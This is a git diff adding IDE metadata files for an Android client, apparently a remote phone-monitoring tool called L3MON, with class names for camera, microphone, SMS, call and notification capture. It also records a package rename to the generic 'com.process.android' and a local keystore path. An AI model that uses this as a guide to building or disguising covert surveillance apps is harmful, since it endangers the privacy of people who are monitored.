<change afterPath="$PROJECT_DIR$/../server/includes/const.js" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/includes/databaseGateway.js" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/includes/expressRoutes.js" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/includes/logManager.js" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/index.js" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/maindb.json" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/package-lock.json" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../server/package.json" afterDir="false" />
|
||||||
|
<change afterPath="$PROJECT_DIR$/../xwizer.jks" afterDir="false" />
|
||||||
|
</list>
|
||||||
|
<option name="EXCLUDED_CONVERTED_TO_IGNORED" value="true" />
|
||||||
|
<option name="SHOW_DIALOG" value="false" />
|
||||||
|
<option name="HIGHLIGHT_CONFLICTS" value="true" />
|
||||||
|
<option name="HIGHLIGHT_NON_ACTIVE_CHANGELIST" value="false" />
|
||||||
|
<option name="LAST_RESOLUTION" value="IGNORE" />
|
||||||
|
</component>
|
||||||
|
<component name="CodeInsightWorkspaceSettings">
|
||||||
|
<option name="optimizeImportsOnTheFly" value="true" />
|
||||||
|
</component>
|
||||||
|
<component name="DefaultGradleProjectSettings">
|
||||||
|
<option name="isMigrated" value="true" />
|
||||||
|
</component>
|
||||||
|
<component name="ExecutionTargetManager" SELECTED_TARGET="Nexus_5X_API_29_x86" />
|
||||||
|
<component name="ExternalProjectsManager">
|
||||||
|
<system id="GRADLE">
|
||||||
|
<state>
|
||||||
|
<projects_view />
|
||||||
|
</state>
|
||||||
|
</system>
|
||||||
|
</component>
|
||||||
|
<component name="FileEditorManager">
|
||||||
|
<leaf SIDE_TABS_SIZE_LIMIT_KEY="300">
|
||||||
|
<file pinned="false" current-in-tab="false">
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="414">
|
||||||
|
<caret line="48" column="34" selection-start-line="48" selection-start-column="34" selection-end-line="48" selection-end-column="34" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
<provider editor-type-id="android-manifest" />
|
||||||
|
</entry>
|
||||||
|
</file>
|
||||||
|
<file pinned="false" current-in-tab="true">
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/build.gradle">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="289">
|
||||||
|
<caret line="17" column="30" selection-start-line="17" selection-start-column="30" selection-end-line="17" selection-end-column="30" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
</file>
|
||||||
|
<file pinned="false" current-in-tab="false">
|
||||||
|
<entry file="file://$PROJECT_DIR$/build.gradle">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
</file>
|
||||||
|
</leaf>
|
||||||
|
</component>
|
||||||
|
<component name="FindInProjectRecents">
|
||||||
|
<findStrings>
|
||||||
|
<find>http://</find>
|
||||||
|
<find>com.etechd.l3mon</find>
|
||||||
|
</findStrings>
|
||||||
|
<replaceStrings>
|
||||||
|
<replace>com.process.android</replace>
|
||||||
|
</replaceStrings>
|
||||||
|
</component>
|
||||||
|
<component name="GenerateSignedApkSettings">
|
||||||
|
<option name="KEY_STORE_PATH" value="C:\Users\Chris\Documents\Private\L3MON\xwizer.jks" />
|
||||||
|
<option name="KEY_ALIAS" value="key0" />
|
||||||
|
<option name="REMEMBER_PASSWORDS" value="true" />
|
||||||
|
<option name="BUILD_TARGET_KEY" value="apk" />
|
||||||
|
</component>
|
||||||
|
<component name="Git.Settings">
|
||||||
|
<option name="RECENT_GIT_ROOT_PATH" value="$PROJECT_DIR$/.." />
|
||||||
|
</component>
|
||||||
|
<component name="IdeDocumentHistory">
|
||||||
|
<option name="CHANGED_PATHS">
|
||||||
|
<list>
|
||||||
|
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/ConnectionManager.java" />
|
||||||
|
<option value="$PROJECT_DIR$/app/src/main/res/values/strings.xml" />
|
||||||
|
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MicManager.java" />
|
||||||
|
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/CameraManager.java" />
|
||||||
|
<option value="$PROJECT_DIR$/L3MON-Client.iml" />
|
||||||
|
<option value="$PROJECT_DIR$/app/src/main/res/layout/activity_main.xml" />
|
||||||
|
<option value="$PROJECT_DIR$/.idea/workspace.xml" />
|
||||||
|
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainService.java" />
|
||||||
|
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainActivity.java" />
|
||||||
|
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MyReceiver.java" />
|
||||||
|
<option value="$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/IOSocket.java" />
|
||||||
|
<option value="$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/etechd/l3mon/BuildConfig.java" />
|
||||||
|
<option value="$PROJECT_DIR$/app/build.gradle" />
|
||||||
|
<option value="$PROJECT_DIR$/app/src/main/AndroidManifest.xml" />
|
||||||
|
</list>
|
||||||
|
</option>
|
||||||
|
</component>
|
||||||
|
<component name="ProjectFrameBounds" extendedState="7">
|
||||||
|
<option name="x" value="490" />
|
||||||
|
<option name="y" value="-10" />
|
||||||
|
<option name="width" value="790" />
|
||||||
|
<option name="height" value="1000" />
|
||||||
|
</component>
|
||||||
|
<component name="ProjectLevelVcsManager" settingsEditedManually="true" />
|
||||||
|
<component name="ProjectView">
|
||||||
|
<navigator proportions="" version="1">
|
||||||
|
<foldersAlwaysOnTop value="true" />
|
||||||
|
</navigator>
|
||||||
|
<panes>
|
||||||
|
<pane id="Scope" />
|
||||||
|
<pane id="PackagesPane" />
|
||||||
|
<pane id="AndroidView">
|
||||||
|
<subPane>
|
||||||
|
<expand>
|
||||||
|
<path>
|
||||||
|
<item name="client" type="1abcf292:AndroidViewProjectNode" />
|
||||||
|
<item name="app" type="feadf853:AndroidModuleNode" />
|
||||||
|
</path>
|
||||||
|
<path>
|
||||||
|
<item name="client" type="1abcf292:AndroidViewProjectNode" />
|
||||||
|
<item name="Gradle Scripts" type="ae0cef3a:AndroidBuildScriptsGroupNode" />
|
||||||
|
</path>
|
||||||
|
</expand>
|
||||||
|
<select />
|
||||||
|
</subPane>
|
||||||
|
</pane>
|
||||||
|
<pane id="ProjectPane" />
|
||||||
|
</panes>
|
||||||
|
</component>
|
||||||
|
<component name="PropertiesComponent">
|
||||||
|
<property name="ExportApk.ApkPath" value="C:\Users\Chris\Documents\Private\L3MON\client\app" />
|
||||||
|
<property name="ExportApk.BuildVariants" value="release" />
|
||||||
|
<property name="ExportApk.SignV1" value="true" />
|
||||||
|
<property name="SHARE_PROJECT_CONFIGURATION_FILES" value="true" />
|
||||||
|
<property name="android.sdk.path" value="$USER_HOME$/AppData/Local/Android/Sdk" />
|
||||||
|
<property name="device.picker.selection" value="8fad6827" />
|
||||||
|
<property name="last_opened_file_path" value="$PROJECT_DIR$/../xwizer.jks" />
|
||||||
|
<property name="project.structure.last.edited" value="Dependencies" />
|
||||||
|
<property name="project.structure.proportion" value="0.17" />
|
||||||
|
<property name="project.structure.side.proportion" value="0.2" />
|
||||||
|
</component>
|
||||||
|
<component name="PsdUISettings">
|
||||||
|
<option name="LAST_EDITED_BUILD_TYPE" value="release" />
|
||||||
|
</component>
|
||||||
|
<component name="RunDashboard">
|
||||||
|
<option name="ruleStates">
|
||||||
|
<list>
|
||||||
|
<RuleState>
|
||||||
|
<option name="name" value="ConfigurationTypeDashboardGroupingRule" />
|
||||||
|
</RuleState>
|
||||||
|
<RuleState>
|
||||||
|
<option name="name" value="StatusDashboardGroupingRule" />
|
||||||
|
</RuleState>
|
||||||
|
</list>
|
||||||
|
</option>
|
||||||
|
</component>
|
||||||
|
<component name="RunManager">
|
||||||
|
<configuration default="true" type="AndroidJUnit" factoryName="Android JUnit">
|
||||||
|
<option name="TEST_OBJECT" value="class" />
|
||||||
|
<option name="WORKING_DIRECTORY" value="$MODULE_DIR$" />
|
||||||
|
<method v="2">
|
||||||
|
<option name="Android.Gradle.BeforeRunTask" enabled="true" />
|
||||||
|
</method>
|
||||||
|
</configuration>
|
||||||
|
<configuration name="app" type="AndroidRunConfigurationType" factoryName="Android App" activateToolWindowBeforeRun="false">
|
||||||
|
<module name="app" />
|
||||||
|
<option name="DEPLOY" value="true" />
|
||||||
|
<option name="DEPLOY_APK_FROM_BUNDLE" value="false" />
|
||||||
|
<option name="DEPLOY_AS_INSTANT" value="false" />
|
||||||
|
<option name="ARTIFACT_NAME" value="" />
|
||||||
|
<option name="PM_INSTALL_OPTIONS" value="" />
|
||||||
|
<option name="DYNAMIC_FEATURES_DISABLED_LIST" value="" />
|
||||||
|
<option name="ACTIVITY_EXTRA_FLAGS" value="" />
|
||||||
|
<option name="MODE" value="default_activity" />
|
||||||
|
<option name="CLEAR_LOGCAT" value="false" />
|
||||||
|
<option name="SHOW_LOGCAT_AUTOMATICALLY" value="false" />
|
||||||
|
<option name="SKIP_NOOP_APK_INSTALLATIONS" value="true" />
|
||||||
|
<option name="FORCE_STOP_RUNNING_APP" value="true" />
|
||||||
|
<option name="TARGET_SELECTION_MODE" value="SHOW_DIALOG" />
|
||||||
|
<option name="USE_LAST_SELECTED_DEVICE" value="false" />
|
||||||
|
<option name="PREFERRED_AVD" value="" />
|
||||||
|
<option name="SELECTED_CLOUD_MATRIX_CONFIGURATION_ID" value="-1" />
|
||||||
|
<option name="SELECTED_CLOUD_MATRIX_PROJECT_ID" value="" />
|
||||||
|
<option name="DEBUGGER_TYPE" value="Auto" />
|
||||||
|
<Auto>
|
||||||
|
<option name="USE_JAVA_AWARE_DEBUGGER" value="false" />
|
||||||
|
<option name="SHOW_STATIC_VARS" value="true" />
|
||||||
|
<option name="WORKING_DIR" value="" />
|
||||||
|
<option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" />
|
||||||
|
<option name="SHOW_OPTIMIZED_WARNING" value="true" />
|
||||||
|
</Auto>
|
||||||
|
<Hybrid>
|
||||||
|
<option name="USE_JAVA_AWARE_DEBUGGER" value="false" />
|
||||||
|
<option name="SHOW_STATIC_VARS" value="true" />
|
||||||
|
<option name="WORKING_DIR" value="" />
|
||||||
|
<option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" />
|
||||||
|
<option name="SHOW_OPTIMIZED_WARNING" value="true" />
|
||||||
|
</Hybrid>
|
||||||
|
<Java />
|
||||||
|
<Native>
|
||||||
|
<option name="USE_JAVA_AWARE_DEBUGGER" value="false" />
|
||||||
|
<option name="SHOW_STATIC_VARS" value="true" />
|
||||||
|
<option name="WORKING_DIR" value="" />
|
||||||
|
<option name="TARGET_LOGGING_CHANNELS" value="lldb process:gdb-remote packets" />
|
||||||
|
<option name="SHOW_OPTIMIZED_WARNING" value="true" />
|
||||||
|
</Native>
|
||||||
|
<Profilers>
|
||||||
|
<option name="ADVANCED_PROFILING_ENABLED" value="false" />
|
||||||
|
<option name="STARTUP_CPU_PROFILING_ENABLED" value="false" />
|
||||||
|
<option name="STARTUP_CPU_PROFILING_CONFIGURATION_NAME" value="Sample Java Methods" />
|
||||||
|
</Profilers>
|
||||||
|
<option name="DEEP_LINK" value="" />
|
||||||
|
<option name="ACTIVITY_CLASS" value="" />
|
||||||
|
<method v="2">
|
||||||
|
<option name="Android.Gradle.BeforeRunTask" enabled="true" />
|
||||||
|
</method>
|
||||||
|
</configuration>
|
||||||
|
</component>
|
||||||
|
<component name="SvnConfiguration">
|
||||||
|
<configuration />
|
||||||
|
</component>
|
||||||
|
<component name="TaskManager">
|
||||||
|
<task active="true" id="Default" summary="Default task">
|
||||||
|
<changelist id="64c00a71-a44b-49ea-9615-52bf78f9491f" name="Default Changelist" comment="" />
|
||||||
|
<created>1566593319597</created>
|
||||||
|
<option name="number" value="Default" />
|
||||||
|
<option name="presentableId" value="Default" />
|
||||||
|
<updated>1566593319597</updated>
|
||||||
|
</task>
|
||||||
|
<servers />
|
||||||
|
</component>
|
||||||
|
<component name="TodoView">
|
||||||
|
<todo-panel id="selected-file">
|
||||||
|
<is-autoscroll-to-source value="true" />
|
||||||
|
</todo-panel>
|
||||||
|
<todo-panel id="all">
|
||||||
|
<are-packages-shown value="true" />
|
||||||
|
<is-autoscroll-to-source value="true" />
|
||||||
|
</todo-panel>
|
||||||
|
</component>
|
||||||
|
<component name="ToolWindowManager">
|
||||||
|
<frame x="-7" y="-7" width="1550" height="838" extended-state="6" />
|
||||||
|
<editor active="true" />
|
||||||
|
<layout>
|
||||||
|
<window_info id="Captures" order="0" side_tool="true" weight="0.25" />
|
||||||
|
<window_info active="true" content_ui="combo" id="Project" order="1" sideWeight="0.49807692" visible="true" weight="0.13154362" />
|
||||||
|
<window_info id="Structure" order="2" side_tool="true" />
|
||||||
|
<window_info id="Favorites" order="3" side_tool="true" />
|
||||||
|
<window_info id="Build Variants" order="4" sideWeight="0.5019231" side_tool="true" weight="0.13154362" />
|
||||||
|
<window_info id="Image Layers" order="5" />
|
||||||
|
<window_info id="Designer" order="6" />
|
||||||
|
<window_info id="Resources Explorer" order="7" />
|
||||||
|
<window_info id="Capture Tool" order="8" />
|
||||||
|
<window_info anchor="bottom" id="Run" order="0" sideWeight="0.4968017" weight="0.32827735" />
|
||||||
|
<window_info anchor="bottom" id="Logcat" order="1" sideWeight="0.49840087" weight="0.21235102" />
|
||||||
|
<window_info anchor="bottom" id="TODO" order="2" sideWeight="0.4989339" weight="0.32936078" />
|
||||||
|
<window_info anchor="bottom" id="Debug" order="3" />
|
||||||
|
<window_info anchor="bottom" id="Terminal" order="4" sideWeight="0.4989339" weight="0.32936078" />
|
||||||
|
<window_info anchor="bottom" id="Event Log" order="5" sideWeight="0.50319827" side_tool="true" weight="0.26435536" />
|
||||||
|
<window_info anchor="bottom" id="Version Control" order="6" />
|
||||||
|
<window_info anchor="bottom" id="Build" order="7" sideWeight="0.4968017" visible="true" weight="0.26203966" />
|
||||||
|
<window_info anchor="bottom" id="Android Profiler" order="8" show_stripe_button="false" weight="0.32936078" />
|
||||||
|
<window_info anchor="bottom" id="Find" order="9" weight="0.3286119" />
|
||||||
|
<window_info anchor="right" id="Device File Explorer" order="0" side_tool="true" />
|
||||||
|
<window_info anchor="right" id="Capture Analysis" order="1" />
|
||||||
|
<window_info anchor="right" id="Gradle" order="2" />
|
||||||
|
<window_info anchor="right" id="Theme Preview" order="3" />
|
||||||
|
<window_info anchor="right" id="Preview" order="4" weight="0.15618336" />
|
||||||
|
<window_info anchor="right" id="Palette	" order="5" />
|
||||||
|
</layout>
|
||||||
|
</component>
|
||||||
|
<component name="XDebuggerManager">
|
||||||
|
<breakpoint-manager>
|
||||||
|
<breakpoints>
|
||||||
|
<line-breakpoint enabled="true" type="java-line">
|
||||||
|
<url>file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/CameraManager.java</url>
|
||||||
|
<line>26</line>
|
||||||
|
<properties />
|
||||||
|
<option name="timeStamp" value="2" />
|
||||||
|
</line-breakpoint>
|
||||||
|
</breakpoints>
|
||||||
|
</breakpoint-manager>
|
||||||
|
</component>
|
||||||
|
<component name="editorHistoryManager">
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/res/values/styles.xml">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/res/values/colors.xml">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/res/values/dimens.xml">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/CameraManager.java" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/.idea/workspace.xml">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="163">
|
||||||
|
<caret line="321" column="41" selection-start-line="321" selection-start-column="41" selection-end-line="321" selection-end-column="41" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/L3MON.iml" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/L3MON-Client.iml" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/gradle/wrapper/gradle-wrapper.properties">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/res/layout/activity_main.xml">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="212">
|
||||||
|
<caret line="14" column="33" selection-start-line="14" selection-start-column="33" selection-end-line="14" selection-end-column="33" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
<provider editor-type-id="android-designer2" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/client - Copy.iml" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/res/values-w820dp/dimens.xml">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/res/values/strings.xml">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="51">
|
||||||
|
<caret line="3" selection-end-line="3" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/.gradle/vcs-1/gc.properties">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/.gradle/buildOutputCleanup/cache.properties">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/client.iml">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/settings.gradle">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/gradle.properties">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/gradlew">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/gradlew.bat">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/local.properties">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="119">
|
||||||
|
<caret line="7" column="8" selection-start-line="7" selection-start-column="8" selection-end-line="7" selection-end-column="54" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/ConnectionManager.java" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/ServiceReciever.java" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/SMSManager.java" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MicManager.java" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/app.iml">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MyReceiver.java" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/NotificationListener.java" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/PermissionManager.java" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainActivity.java" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/MainService.java" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/etechd/l3mon/IOSocket.java" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/etechd/l3mon/BuildConfig.java" />
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppInstaller.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="34">
|
||||||
|
<caret line="2" column="13" selection-start-line="2" selection-start-column="13" selection-end-line="2" selection-end-column="13" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CallsManager.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="-187">
|
||||||
|
<caret line="10" column="13" selection-start-line="10" selection-start-column="13" selection-end-line="10" selection-end-column="13" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/WifiScanner.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="-221">
|
||||||
|
<caret line="2" column="7" selection-start-line="2" selection-start-column="7" selection-end-line="2" selection-end-column="7" />
|
||||||
|
<folding>
|
||||||
|
<element signature="imports" expanded="true" />
|
||||||
|
</folding>
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="jar://$USER_HOME$/AppData/Local/Android/Sdk/platforms/android-24/android.jar!/android/provider/Settings.class">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="165">
|
||||||
|
<caret line="49" column="31" selection-start-line="49" selection-start-column="31" selection-end-line="49" selection-end-column="31" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainActivity.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="493">
|
||||||
|
<caret line="40" column="64" selection-start-line="40" selection-start-column="64" selection-end-line="40" selection-end-column="64" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/CameraManager.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/build.gradle">
|
||||||
|
<provider selected="true" editor-type-id="text-editor" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppList.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="68">
|
||||||
|
<caret line="12" column="13" selection-start-line="12" selection-start-column="13" selection-end-line="12" selection-end-column="13" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/IOSocket.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="68">
|
||||||
|
<caret line="8" column="15" selection-start-line="8" selection-start-column="13" selection-end-line="8" selection-end-column="21" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/FileManager.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="85">
|
||||||
|
<caret line="15" column="19" lean-forward="true" selection-start-line="15" selection-start-column="19" selection-end-line="15" selection-end-column="19" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/ConnectionManager.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="68">
|
||||||
|
<caret line="11" column="23" lean-forward="true" selection-start-line="11" selection-start-column="13" selection-end-line="11" selection-end-column="30" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/MainService.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="884">
|
||||||
|
<caret line="62" column="8" selection-start-line="62" selection-start-column="8" selection-end-line="62" selection-end-column="8" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/build/generated/source/buildConfig/debug/com/remote/app/BuildConfig.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="85">
|
||||||
|
<caret line="7" column="29" selection-start-line="7" selection-start-column="29" selection-end-line="7" selection-end-column="29" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/AndroidManifest.xml">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="414">
|
||||||
|
<caret line="48" column="34" selection-start-line="48" selection-start-column="34" selection-end-line="48" selection-end-column="34" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
<provider editor-type-id="android-manifest" />
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppInstaller.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="34">
|
||||||
|
<caret line="2" column="13" selection-start-line="2" selection-start-column="13" selection-end-line="2" selection-end-column="13" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/src/main/java/com/remote/app/AppList.java">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="204">
|
||||||
|
<caret line="20" column="39" selection-start-line="20" selection-start-column="39" selection-end-line="20" selection-end-column="39" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
<entry file="file://$PROJECT_DIR$/app/build.gradle">
|
||||||
|
<provider selected="true" editor-type-id="text-editor">
|
||||||
|
<state relative-caret-position="289">
|
||||||
|
<caret line="17" column="30" selection-start-line="17" selection-start-column="30" selection-end-line="17" selection-end-column="30" />
|
||||||
|
</state>
|
||||||
|
</provider>
|
||||||
|
</entry>
|
||||||
|
</component>
|
||||||
|
</project>
|
17
client/.project
Normal file
17
client/.project
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<projectDescription>
|
||||||
|
<name>client</name>
|
||||||
|
<comment>Project client created by Buildship.</comment>
|
||||||
|
<projects>
|
||||||
|
</projects>
|
||||||
|
<buildSpec>
|
||||||
|
<buildCommand>
|
||||||
|
<name>org.eclipse.buildship.core.gradleprojectbuilder</name>
|
||||||
|
<arguments>
|
||||||
|
</arguments>
|
||||||
|
</buildCommand>
|
||||||
|
</buildSpec>
|
||||||
|
<natures>
|
||||||
|
<nature>org.eclipse.buildship.core.gradleprojectnature</nature>
|
||||||
|
</natures>
|
||||||
|
</projectDescription>
|
2
client/.settings/org.eclipse.buildship.core.prefs
Normal file
2
client/.settings/org.eclipse.buildship.core.prefs
Normal file
@ -0,0 +1,2 @@
|
|||||||
|
connection.project.dir=
|
||||||
|
eclipse.preferences.version=1
|
1
client/app/.gitignore
vendored
Normal file
1
client/app/.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
/build
|
97
client/app/app.iml
Normal file
97
client/app/app.iml
Normal file
@ -0,0 +1,97 @@
|
|||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<module external.linked.project.id=":app" external.linked.project.path="$MODULE_DIR$" external.root.project.path="$MODULE_DIR$/.." external.system.id="GRADLE" type="JAVA_MODULE" version="4">
|
||||||
|
<component name="FacetManager">
|
||||||
|
<facet type="android-gradle" name="Android-Gradle">
|
||||||
|
<configuration>
|
||||||
|
<option name="GRADLE_PROJECT_PATH" value=":app" />
|
||||||
|
<option name="LAST_SUCCESSFUL_SYNC_AGP_VERSION" value="3.4.2" />
|
||||||
|
<option name="LAST_KNOWN_AGP_VERSION" value="3.4.2" />
|
||||||
|
</configuration>
|
||||||
|
</facet>
|
||||||
|
<facet type="android" name="Android">
|
||||||
|
<configuration>
|
||||||
|
<option name="SELECTED_BUILD_VARIANT" value="debug" />
|
||||||
|
<option name="ASSEMBLE_TASK_NAME" value="assembleDebug" />
|
||||||
|
<option name="COMPILE_JAVA_TASK_NAME" value="compileDebugSources" />
|
||||||
|
<afterSyncTasks>
|
||||||
|
<task>generateDebugSources</task>
|
||||||
|
</afterSyncTasks>
|
||||||
|
<option name="ALLOW_USER_CONFIGURATION" value="false" />
|
||||||
|
<option name="MANIFEST_FILE_RELATIVE_PATH" value="/src/main/AndroidManifest.xml" />
|
||||||
|
